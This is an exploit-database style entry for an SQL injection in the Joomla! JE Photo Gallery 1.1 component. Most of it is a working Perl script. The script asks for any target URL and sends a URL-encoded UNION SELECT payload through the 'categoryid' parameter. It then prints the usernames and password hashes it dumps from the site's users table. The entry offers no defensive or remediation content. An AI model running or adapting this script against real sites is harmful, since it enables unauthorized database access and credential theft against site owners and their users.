Joomla! Component JE Photo Gallery 1.1 - 'categoryid' SQL Injection

# Exploit Title: Joomla! Component JE Photo Gallery 1.1 - SQL Injection
# Dork: N/A
# Date: 2018-11-26
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://joomlaextensions.co.in
# Software Link: http://joomlaextensions.co.in/download/1387375463_JE%20PhotoGallery%20(%20J-%203.0%20).zip
# Version: 1.1
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
 
# POC:
# 1)
 
#!/usr/bin/perl -w
 
sub clear{
system(($^O eq 'MSWin32') ? 'cls' : 'clear'); }
clear();
print "
                                     ./
                                   (o o)
###############################oOOo-(-)-oOOo###############################
        ______  _______ ___    _   __   _____ _______   ___________    _   __
       /  _/ / / / ___//   |  / | / /  / ___// ____/ | / / ____/   |  / | / /
       / // /_/ /\__ \/ /| | /  |/ /   \__ \/ __/ /  |/ / /   / /| | /  |/ /
     _/ // __  /___/ / ___ |/ /|  /   ___/ / /___/ /|  / /___/ ___ |/ /|  /
    /___/_/ /_//____/_/  |_/_/ |_/   /____/_____/_/ |_/\____/_/  |_/_/ |_/
  
                                 WWW.IHSAN.NET                              
                                       +                                    
       Joomla! Component JE Photo Gallery 1.1 - SQL Injection        
############################################################################
";
 
use LWP::UserAgent;
print "\nTarget:[http://site.com/path/]: ";
chomp(my $target=<STDIN>);
print "\n[!] Exploiting Progress...\n";
print "\n";
$UT="wizjk_users";
$S="index.php?";
$I="tmpl=component&option=com_jephotogallery&view=category&task=fetchimage&categoryid=";
$E="%2d%32%39%20%55%4e%69%6f%6e%20%73%65%4c%45%43%54%20%28%53%45%4c%45%43%54%20%47%52%4f%55%50%5f%43%4f%4e%43%41%54%28%75%73%65%72%6e%61%6d%65%2c%30%78%33%61%2c%70%61%73%73%77%6f%72%64%29%20%46%52%4f%4d%20".$UT."%29%2c%30%2c%30%2c%30%2c%30%2c%30%2c%30%2c%30%2c%30%2c%4e%75%4c%4c%2c%30%2c%30%2d%2d%20%2d";
$SIE = LWP::UserAgent->new() or die "Could not initialize browser\n";
$SIE->agent('Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0');
$host = $target . "".$S."".$I."".$E."";
$res = $SIE->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/{"id":"(.*?)"/){
print "[+] Success !!!\n";
print "\n[+] Detail : $1\n";
print "\n";
}
else{print "\n[-]Not found.\n";
}